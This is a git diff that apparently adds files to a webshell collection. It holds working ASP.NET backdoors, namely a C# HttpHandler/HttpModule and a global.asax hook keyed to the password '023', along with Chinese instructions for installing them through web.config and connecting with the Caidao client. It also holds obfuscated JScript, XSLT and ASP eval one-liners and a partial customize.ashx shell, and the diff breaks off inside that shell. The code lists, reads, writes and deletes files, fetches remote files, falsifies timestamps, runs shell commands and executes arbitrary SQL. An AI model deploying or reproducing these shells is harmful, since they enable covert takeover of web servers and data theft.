+                                foreach (FileInfo D in m.GetFiles())
+                                {
+                                    R += string.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
+                                }
+                                break;
+                            }
+                        case "C":
+                            {
+                                StreamReader m = new StreamReader(Z1, Encoding.Default);
+                                R = m.ReadToEnd();
+                                m.Close();
+                                break;
+                            }
+                        case "D":
+                            {
+                                StreamWriter m = new StreamWriter(Z1, false, Encoding.Default);
+                                m.Write(Z2);
+                                R = "1";
+                                m.Close();
+                                break;
+                            }
+                        case "E":
+                            {
+                                if (Directory.Exists(Z1))
+                                    Directory.Delete(Z1, true);
+                                else
+                                    File.Delete(Z1);
+                                R = "1";
+                                break;
+                            }
+                        case "F":
+                            {
+                                response.Clear();
+                                response.Write("\x2D\x3E\x7C");
+                                response.WriteFile(Z1);
+                                response.Write("\x7C\x3C\x2D");
+                                goto End;
+                            }
+                        case "G":
+                            {
+                                byte[] B = new byte[Z2.Length / 2];
+                                for (int i = 0; i < Z2.Length; i += 2)
+                                {
+                                    B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
+                                }
+                                FileStream fs = new FileStream(Z1, FileMode.Create);
+                                fs.Write(B, 0, B.Length);
+                                fs.Close();
+                                R = "1";
+                                break;
+                            }
+                        case "H":
+                            {
+                                CP(Z1, Z2); R = "1";
+                                break;
+                            }
+                        case "I":
+                            {
+                                if (Directory.Exists(Z1))
+                                {
+                                    Directory.Move(Z1, Z2);
+                                }
+                                else
+                                {
+                                    File.Move(Z1, Z2);
+                                }
+                                break;
+                            }
+                        case "J":
+                            {
+                                Directory.CreateDirectory(Z1);
+                                R = "1";
+                                break;
+                            }
+                        case "K":
+                            {
+                                DateTime TM = Convert.ToDateTime(Z2);
+                                if (Directory.Exists(Z1))
+                                {
+                                    Directory.SetCreationTime(Z1, TM);
+                                    Directory.SetLastWriteTime(Z1, TM);
+                                    Directory.SetLastAccessTime(Z1, TM);
+                                }
+                                else
+                                {
+                                    File.SetCreationTime(Z1, TM);
+                                    File.SetLastWriteTime(Z1, TM);
+                                    File.SetLastAccessTime(Z1, TM);
+                                }
+                                R = "1";
+                                break;
+                            }
+                        case "L":
+                            {
+                                HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));
+                                RQ.Method = "GET";
+                                RQ.ContentType = "application/x-www-form-urlencoded";
+                                HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();
+                                Stream WF = WB.GetResponseStream();
+                                FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);
+                                int i;
+                                byte[] buffer = new byte[1024];
+                                while (true)
+                                {
+                                    i = WF.Read(buffer, 0, buffer.Length);
+                                    if (i < 1) break; FS.Write(buffer, 0, i);
+                                }
+                                WF.Close();
+                                WB.Close();
+                                FS.Close();
+                                R = "1";
+                                break;
+                            }
+                        case "M":
+                            {
+                                System.Diagnostics.ProcessStartInfo c = new System.Diagnostics.ProcessStartInfo(Z1.Substring(2));
+                                System.Diagnostics.Process e = new System.Diagnostics.Process();
+                                System.IO.StreamReader OT, ER;
+                                c.UseShellExecute = false;
+                                c.RedirectStandardOutput = true;
+                                c.RedirectStandardError = true;
+                                e.StartInfo = c;
+                                c.Arguments = string.Format("{0} {1}", Z1.Substring(0, 2), Z2);
+                                e.Start();
+                                OT = e.StandardOutput;
+                                ER = e.StandardError;
+                                e.Close();
+                                R = OT.ReadToEnd() + ER.ReadToEnd();
+                                break;
+                            }
+                        case "N":
+                            {
+                                String strDat = Z1.ToUpper();
+                                SqlConnection Conn = new SqlConnection(Z1);
+                                Conn.Open();
+                                R = Conn.Database + "\t";
+                                Conn.Close();
+                                break;
+                            }
+                        case "O":
+                            {
+                                String[] x = Z1.Replace("\r", "").Split('\n');
+                                String strConn = x[0], strDb = x[1];
+                                SqlConnection Conn = new SqlConnection(strConn);
+                                Conn.Open();
+                                DataTable dt = Conn.GetSchema("Columns");
+                                Conn.Close();
+                                for (int i = 0; i < dt.Rows.Count; i++)
+                                {
+                                    R += String.Format("{0}\t", dt.Rows[i][2].ToString());
+                                }
+                                break;
+                            }
+                        case "P":
+                            {
+                                String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
+                                String strConn = x[0], strDb = x[1], strTable = x[2];
+                                p[0] = strDb;
+                                p[2] = strTable;
+                                SqlConnection Conn = new SqlConnection(strConn);
+                                Conn.Open();
+                                DataTable dt = Conn.GetSchema("Columns", p);
+                                Conn.Close();
+                                for (int i = 0; i < dt.Rows.Count; i++)
+                                {
+                                    R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
+                                }
+                                break;
+                            }
+                        case "Q":
+                            {
+                                String[] x = Z1.Replace("\r", "").Split('\n');
+                                String strDat, strConn = x[0], strDb = x[1];
+                                int i, c;
+                                strDat = Z2.ToUpper();
+                                SqlConnection Conn = new SqlConnection(strConn);
+                                Conn.Open();
+                                if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
+                                {
+                                    SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn);
+                                    DataSet ds = new DataSet(); OD.Fill(ds);
+                                    if (ds.Tables.Count > 0)
+                                    {
+                                        DataRowCollection rows = ds.Tables[0].Rows;
+                                        for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                        {
+                                            R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
+                                        }
+                                        R += "\r\n"; for (i = 0; i < rows.Count; i++)
+                                        {
+                                            for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                            {
+                                                R += String.Format("{0}\t|\t", rows[i][c].ToString());
+                                            }
+                                            R += "\r\n";
+                                        }
+                                    }
+                                    ds.Clear();
+                                    ds.Dispose();
+                                }
+                                else
+                                {
+                                    SqlCommand cm = Conn.CreateCommand();
+                                    cm.CommandText = Z2;
+                                    cm.ExecuteNonQuery();
+                                    R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
+                                }
+                                Conn.Close();
+                                break;
+                            }
+                        default:
+                            goto End;
+                    }
+                }
+                catch (Exception E)
+                {
+                    R = "ERROR:// " + E.Message;
+                }
+                response.Write("\x2D\x3E\x7C" + R + "\x7C\x3C\x2D");
+            End: ;
+            }
+            response.End();
+        }
+    }
+ 
+    public class CustomizeHttpHandler : IHttpHandler
+    {
+        public bool IsReusable
+        {
+            get
+            {
+                return true;
+            }
+        }
+ 
+        public void ProcessRequest(HttpContext context)
+        {
+            Customize.Request();
+        }
+    }
+ 
+    public class CustomizeHttpModule : IHttpModule
+    {
+ 
+        #region IHttpModule 成员
+ 
+        public void Dispose()
+        {
+ 
+        }
+ 
+        public void Init(HttpApplication context)
+        {
+            context.BeginRequest += new EventHandler(context_BeginRequest);
+        }
+ 
+        void context_BeginRequest(object sender, EventArgs e)
+        {
+            Customize.Request();
+        }
+ 
+        #endregion
+    }
+ 
+}

aspx/httpHandlers_backdoor/global.asax

@@ -0,0 +1,324 @@
+<%@ Application Language="C#" %>
+ 
+<script RunAt='server'>
+ 
+    void Application_Start(object sender, EventArgs e)
+    {
+        //在应用程序启动时运行的代码
+ 
+    }
+ 
+    void Application_End(object sender, EventArgs e)
+    {
+        //在应用程序关闭时运行的代码
+ 
+    }
+ 
+    void Application_Error(object sender, EventArgs e)
+    {
+ 
+ 
+    }
+ 
+    void Session_Start(object sender, EventArgs e)
+    {
+        //在新会话启动时运行的代码
+ 
+    }
+ 
+    void Session_End(object sender, EventArgs e)
+    {
+        //在会话结束时运行的代码。 
+        // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为
+        // InProc 时，才会引发 Session_End 事件。如果会话模式 
+        //设置为 StateServer 或 SQLServer，则不会引发该事件。
+ 
+    }
+ 
+    void CP(string S, string D)
+    {
+        if (System.IO.Directory.Exists(S))
+        {
+            System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(S);
+            System.IO.Directory.CreateDirectory(D);
+            foreach (System.IO.FileInfo F in m.GetFiles())
+            {
+                System.IO.File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
+            }
+            foreach (System.IO.DirectoryInfo F in m.GetDirectories())
+            {
+                CP(S + "\\" + F.Name, D + "\\" + F.Name);
+            }
+        }
+        else
+        {
+            System.IO.File.Copy(S, D);
+        }
+    }
+ 
+    void EvalRequest(string action)
+    {
+        HttpContext context = HttpContext.Current;
+        HttpRequest request = context.Request;
+        HttpResponse response = context.Response;
+ 
+        string Z = action;
+        if (Z != "")
+        {
+            string Z1 = request.Form["Z1"];
+            string Z2 = request.Form["Z2"];
+            string R = "";
+            try
+            {
+                switch (Z)
+                {
+                    case "A":
+                        {
+                            string[] c = System.IO.Directory.GetLogicalDrives();
+                            R = string.Format("{0}\t", context.Server.MapPath("~"));
+                            for (int i = 0; i < c.Length; i++)
+                                R += c[i][0] + ":";
+                            break;
+                        }
+                    case "B":
+                        {
+                            System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(Z1);
+                            foreach (System.IO.DirectoryInfo D in m.GetDirectories())
+                            {
+                                R += string.Format("{0}/\t{1}\t0\t-\n", D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
+                            }
+                            foreach (System.IO.FileInfo D in m.GetFiles())
+                            {
+                                R += string.Format("{0}\t{1}\t{2}\t-\n", D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
+                            }
+                            break;
+                        }
+                    case "C":
+                        {
+                            System.IO.StreamReader m = new System.IO.StreamReader(Z1, Encoding.Default);
+                            R = m.ReadToEnd();
+                            m.Close();
+                            break;
+                        }
+                    case "D":
+                        {
+                            System.IO.StreamWriter m = new System.IO.StreamWriter(Z1, false, Encoding.Default);
+                            m.Write(Z2);
+                            R = "1";
+                            m.Close();
+                            break;
+                        }
+                    case "E":
+                        {
+                            if (System.IO.Directory.Exists(Z1))
+                                System.IO.Directory.Delete(Z1, true);
+                            else
+                                System.IO.File.Delete(Z1);
+                            R = "1";
+                            break;
+                        }
+                    case "F":
+                        {
+                            response.Clear();
+                            response.Write("\x2D\x3E\x7C");
+                            response.WriteFile(Z1);
+                            response.Write("\x7C\x3C\x2D");
+                            goto End;
+                        }
+                    case "G":
+                        {
+                            byte[] B = new byte[Z2.Length / 2];
+                            for (int i = 0; i < Z2.Length; i += 2)
+                            {
+                                B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
+                            }
+                            System.IO.FileStream fs = new System.IO.FileStream(Z1, System.IO.FileMode.Create);
+                            fs.Write(B, 0, B.Length);
+                            fs.Close();
+                            R = "1";
+                            break;
+                        }
+                    case "H":
+                        {
+                            CP(Z1, Z2);
+                            R = "1";
+                            break;
+                        }
+                    case "I":
+                        {
+                            if (System.IO.Directory.Exists(Z1))
+                            {
+                                System.IO.Directory.Move(Z1, Z2);
+                            }
+                            else
+                            {
+                                System.IO.File.Move(Z1, Z2);
+                            }
+                            break;
+                        }
+                    case "J":
+                        {
+                            System.IO.Directory.CreateDirectory(Z1);
+                            R = "1";
+                            break;
+                        }
+                    case "K":
+                        {
+                            DateTime TM = Convert.ToDateTime(Z2);
+                            if (System.IO.Directory.Exists(Z1))
+                            {
+                                System.IO.Directory.SetCreationTime(Z1, TM);
+                                System.IO.Directory.SetLastWriteTime(Z1, TM);
+                                System.IO.Directory.SetLastAccessTime(Z1, TM);
+                            }
+                            else
+                            {
+                                System.IO.File.SetCreationTime(Z1, TM);
+                                System.IO.File.SetLastWriteTime(Z1, TM);
+                                System.IO.File.SetLastAccessTime(Z1, TM);
+                            }
+                            R = "1";
+                            break;
+                        }
+                    case "L":
+                        {
+                            System.Net.HttpWebRequest RQ = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(new Uri(Z1));
+                            RQ.Method = "GET";
+                            RQ.ContentType = "application/x-www-form-urlencoded";
+                            System.Net.HttpWebResponse WB = (System.Net.HttpWebResponse)RQ.GetResponse();
+                            System.IO.Stream WF = WB.GetResponseStream();
+                            System.IO.FileStream FS = new System.IO.FileStream(Z2, System.IO.FileMode.Create, System.IO.FileAccess.Write);
+                            int i;
+                            byte[] buffer = new byte[1024];
+                            while (true)
+                            {
+                                i = WF.Read(buffer, 0, buffer.Length);
+                                if (i < 1) break; FS.Write(buffer, 0, i);
+                            }
+                            WF.Close();
+                            WB.Close();
+                            FS.Close();
+                            R = "1";
+                            break;
+                        }
+                    case "M":
+                        {
+                            System.Diagnostics.ProcessStartInfo c = new System.Diagnostics.ProcessStartInfo(Z1.Substring(2));
+                            System.Diagnostics.Process e = new System.Diagnostics.Process();
+                            System.IO.StreamReader OT, ER;
+                            c.UseShellExecute = false;
+                            c.RedirectStandardOutput = true;
+                            c.RedirectStandardError = true;
+                            e.StartInfo = c;
+                            c.Arguments = string.Format("{0} {1}", Z1.Substring(0, 2), Z2);
+                            e.Start(); OT = e.StandardOutput;
+                            ER = e.StandardError;
+                            e.Close();
+                            R = OT.ReadToEnd() + ER.ReadToEnd();
+                            break;
+                        }
+                    case "N":
+                        {
+                            String strDat = Z1.ToUpper();
+                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(Z1);
+                            Conn.Open();
+                            R = Conn.Database + "\t";
+                            Conn.Close(); break;
+                        }
+                    case "O":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n');
+                            String strConn = x[0], strDb = x[1];
+                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
+                            Conn.Open();
+                            System.Data.DataTable dt = Conn.GetSchema("Columns");
+                            Conn.Close();
+                            for (int i = 0; i < dt.Rows.Count; i++)
+                            {
+                                R += String.Format("{0}\t", dt.Rows[i][2].ToString());
+                            }
+                            break;
+                        }
+                    case "P":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
+                            String strConn = x[0], strDb = x[1], strTable = x[2]; p[0] = strDb;
+                            p[2] = strTable;
+                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
+                            Conn.Open();
+                            System.Data.DataTable dt = Conn.GetSchema("Columns", p);
+                            Conn.Close();
+                            for (int i = 0; i < dt.Rows.Count; i++)
+                            {
+                                R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
+                            }
+                            break;
+                        }
+                    case "Q":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n');
+                            String strDat, strConn = x[0], strDb = x[1];
+                            int i, c;
+                            strDat = Z2.ToUpper();
+                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
+                            Conn.Open();
+                            if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
+                            {
+                                System.Data.SqlClient.SqlDataAdapter OD = new System.Data.SqlClient.SqlDataAdapter(Z2, Conn);
+                                System.Data.DataSet ds = new System.Data.DataSet();
+                                OD.Fill(ds);
+                                if (ds.Tables.Count > 0)
+                                {
+                                    System.Data.DataRowCollection rows = ds.Tables[0].Rows;
+                                    for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                    {
+                                        R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
+                                    }
+                                    R += "\r\n";
+                                    for (i = 0; i < rows.Count; i++)
+                                    {
+                                        for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                        {
+                                            R += String.Format("{0}\t|\t", rows[i][c].ToString());
+                                        }
+                                        R += "\r\n";
+                                    }
+                                }
+                                ds.Clear();
+                                ds.Dispose();
+                            }
+                            else
+                            {
+                                System.Data.SqlClient.SqlCommand cm = Conn.CreateCommand();
+                                cm.CommandText = Z2;
+                                cm.ExecuteNonQuery();
+                                R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
+                            }
+                            Conn.Close();
+                            break;
+                        }
+                    default:
+                        goto End;
+                }
+            }
+            catch (Exception E)
+            {
+                R = "ERROR:// " + E.Message;
+            }
+            response.Write("\x2D\x3E\x7C" + R + "\x7C\x3C\x2D");
+        End: ;
+        }
+    }
+ 
+    //在接收到一个应用程序请求时触发。对于一个请求来说，它是第一个被触发的事件，请求一般是用户输入的一个页面请求（URL）。
+    void Application_BeginRequest(object sender, EventArgs evt)
+    {
+        string action = Request.Form["023"];
+        if (action != null)
+        {
+            EvalRequest(action);
+            Response.End();
+        }
+    }
+ 
+</script>

aspx/httpHandlers_backdoor/httpHandlers.md

@@ -0,0 +1,16 @@
+修改web.config，添加或者修改httpHandlers:
+
+```
+  <httpHandlers>
+    <add path="*.api" verb="*" type="WooYun.CustomizeHttpHandler"/>
+  </httpHandlers>
+```
+如果已经存在 httpHandlers 则在标签内添加，如果<system.webServer>也有配置httpHandlers那么就配置在<system.webServer>里
+
+但是有一点需要特别注意：<system.webServer>里面一定要配置runAllManagedModulesForAllRequests为true,否会启动报错。
+```
+  <system.webServer>
+    <modules runAllManagedModulesForAllRequests="true" />
+  </system.webServer>
+```
+

aspx/httpHandlers_backdoor/httpModules.md

@@ -0,0 +1,8 @@
+相比修改httpHandlers显然这种办法更加的有效且安全一些。但是一定要把这个httpModule的顺序配置到httpModules的第一个。
+修改web.config，添加或者修改httpHandlers:
+
+```
+<httpModules>
+    <add name="WooYun" type="WooYun.CustomizeHttpModule"/>
+</httpModules>
+```

aspx/httpHandlers_backdoor/readme.md

@@ -0,0 +1,32 @@
+## author:园长
+### url: http://javaweb.org/?p=1755
+
+使用说明
+global.asax是不需要编译的，所以直接忽略。
+
+httpHandlers和httpModules配置方式：
+
+1、自行编译上面的cs文件dll
+
+2、复制dll到bin目录
+
+3、修改上述配置，并仔细检查
+
+或：
+
+1、直接新建个Customize.cs文件
+
+2、复制Customize.cs文件到App_Code目录
+
+3、修改上述配置，并仔细检查
+
+连接：
+
+1、菜刀连接的时候必须选Customize：
+
+2、httpHandlers 可以自己指定后缀，比如你配置了.api请求那么可以  http://xx.com/123456.api  做为shell地址，可能会有不能拦截除aspx的情况
+
+3、httpModules可以随便访问一个只要不是静态文件的链接(比如jpg文件不允许被POST) 可以访问:http://xx.com/123456.xxx  
+
+4、连接密码:023
+

aspx/wooyun2015052301.aspx

@@ -0,0 +1 @@
+<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/116679702/*-/*-*/-/*-/*-*/14254250/*-/*-*/-/*-/*-*/102425454/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/); /*gadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenre*/ %>

aspx/xslt.aspx

@@ -0,0 +1,28 @@
+<%@page language="C#"%>
+<%@ import Namespace="System.IO"%>
+<%@ import Namespace="System.Xml"%>
+<%@ import Namespace="System.Xml.Xsl"%>
+<%
+string xml=@"<?xml version=""1.0""?><root>test</root>";
+string xslt=@"<?xml version='1.0'?>
+<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
+	<msxsl:script language=""JScript"" implements-prefix=""zcg"">
+		<msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
+		<msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
+		<msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
+		<msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
+		<![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();}]]>
+	</msxsl:script>
+<xsl:template match=""/root"">
+	<xsl:value-of select=""zcg:xml()""/>
+</xsl:template>
+</xsl:stylesheet>";
+XmlDocument xmldoc=new XmlDocument();
+xmldoc.LoadXml(xml);
+XmlDocument xsldoc=new XmlDocument();
+xsldoc.LoadXml(xslt);
+XslCompiledTransform xct=new XslCompiledTransform();
+xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
+xct.Transform(xmldoc,null,new MemoryStream());
+
+%>

caidao-shell/3802.php

@@ -0,0 +1,6 @@
+<?php 
+unset($jkhy,$jk_uid); 
+$jk_uid='3802'; 
+$jkhy=array(); 
+$jkhy[3802]='fexin'; 
+?>

caidao-shell/README.md

@@ -2,8 +2,13 @@
 
 需要菜刀原程序的请自行百度 or google
 
-还有一点就是  菜刀最后的版本是caidao-20111116  
+还有一点就是  菜刀最后的版本是
 
+    20141213 => 4b4a956b9c7dc734f339fa05e4c2a990(主程序)
+
+
+    caidao-20111116  
     zip压缩包的md5: 04A4980C9E86B5BA267F8E55CEAC2119
+    主程序的md5:    5001ef50c7e869253a7c152a638eab8a
 
 "一句话"的艺术——简单的编码和变形绕过检测 url: http://drops.wooyun.org/tips/839

caidao-shell/a.asp

@@ -0,0 +1,7 @@
+<% 
+dim x1,x2 
+x1 = request("h") 
+x2 = x1 
+eval x2 
+%> 
+<!-- yes++ -->

caidao-shell/customize.ashx

@@ -0,0 +1,304 @@
+<%@ WebHandler Language="C#" Class="Handler" %> 
+
+using System; 
+using System.Web; 
+using System.IO; 
+using System.Net; 
+using System.Text; 
+using System.Data; 
+using System.Data.SqlClient; 
+using System.Diagnostics; 
+
+public class Handler : IHttpHandler 
+{ 
+    public void ProcessRequest(HttpContext context) 
+    { 
+        String Z = context.Request.Form["z"];//设置密码z 
+        if (Z != "") 
+        { 
+            String Z1 = context.Request.Form["Z1"]; 
+            String Z2 = context.Request.Form["Z2"]; 
+            String R = ""; 
+            try 
+            { 
+                switch (Z) 
+                { 
+                    case "A": 
+                        { 
+                            String[] c = Directory.GetLogicalDrives(); 
+                            R = String.Format("{0}\t", context.Server.MapPath("/")); 
+                            for (int i = 0; i < c.Length; i++) 
+                                R += c[i][0] + ":"; 
+                            break; 
+                        } 
+                    case "B": 
+                        { 
+                            DirectoryInfo m = new DirectoryInfo(Z1); 
+                            foreach (DirectoryInfo D in m.GetDirectories()) 
+                            { 
+                                R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss")); 
+                            } 
+                            foreach (FileInfo D in m.GetFiles()) 
+                            { 
+                                R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length); 
+                            } 
+                            break; 
+                        } 
+                    case "C": 
+                        { 
+                            StreamReader m = new StreamReader(Z1, Encoding.Default); 
+                            R = m.ReadToEnd(); 
+                            m.Close(); 
+                            break; 
+                        } 
+                    case "D": 
+                        { 
+                            StreamWriter m = new StreamWriter(Z1, false, Encoding.Default);
+                            m.Write(Z2); 
+                            R = "1"; 
+                            m.Close(); 
+                            break; 
+                        } 
+                    case "E": 
+                        { 
+                            if (Directory.Exists(Z1)) 
+                            { 
+                                Directory.Delete(Z1, true); 
+                            } 
+                            else 
+                            { 
+                                File.Delete(Z1); 
+                            } 
+                            R = "1"; 
+                            break; 
+                        } 
+                    case "F": 
+                        { 
+                            context.Response.Clear(); 
+                            context.Response.Write("\x2D\x3E\x7C"); 
+                            context.Response.WriteFile(Z1); 
+                            context.Response.Write("\x7C\x3C\x2D"); 
+                            goto End; 
+                        } 
+                    case "G": 
+                        { 
+                            byte[] B = new byte[Z2.Length / 2]; 
+                            for (int i = 0; i < Z2.Length; i += 2) 
+                            { 
+                                B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16); 
+                            } 
+                            FileStream fs = new FileStream(Z1, FileMode.Create); 
+                            fs.Write(B, 0, B.Length); 
+                            fs.Close(); 
+                            R = "1"; 
+                            break; 
+                        } 
+                    case "H": 
+                        { 
+                            CP(Z1, Z2, context); 
+                            R = "1"; 
+                            break; 
+                        } 
+                    case "I": 
+                        { 
+                            if (Directory.Exists(Z1)) 
+                            { 
+                                Directory.Move(Z1, Z2); 
+                            } 
+                            else 
+                            { 
+                                File.Move(Z1, Z2); 
+                            } 
+                            break; 
+                        } 
+                    case "J": 
+                        { 
+                            Directory.CreateDirectory(Z1); 
+                            R = "1"; 
+                            break; 
+                        } 
+                    case "K": 
+                        { 
+                            DateTime TM = Convert.ToDateTime(Z2); 
+                            if (Directory.Exists(Z1)) 
+                            { 
+                                Directory.SetCreationTime(Z1, TM); 
+                                Directory.SetLastWriteTime(Z1, TM); 
+                                Directory.SetLastAccessTime(Z1, TM); 
+                            } 
+                            else 
+                            { 
+                                File.SetCreationTime(Z1, TM); 
+                                File.SetLastWriteTime(Z1, TM); 
+                                File.SetLastAccessTime(Z1, TM); 
+                            } 
+                            R = "1"; 
+                            break; 
+                        } 
+                    case "L": 
+                        { 
+                            HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1)); 
+                            RQ.Method = "GET"; 
+                            RQ.ContentType = "application/x-www-form-urlencoded"; 
+                            HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse(); 
+                            Stream WF = WB.GetResponseStream(); 
+                            FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write); 
+                            int i; 
+                            byte[] buffer = new byte[1024]; 
+                            while (true) 
+                            { 
+                                i = WF.Read(buffer, 0, buffer.Length); 
+                                if (i < 1) 
+                                { 
+                                    break; 
+                                } 
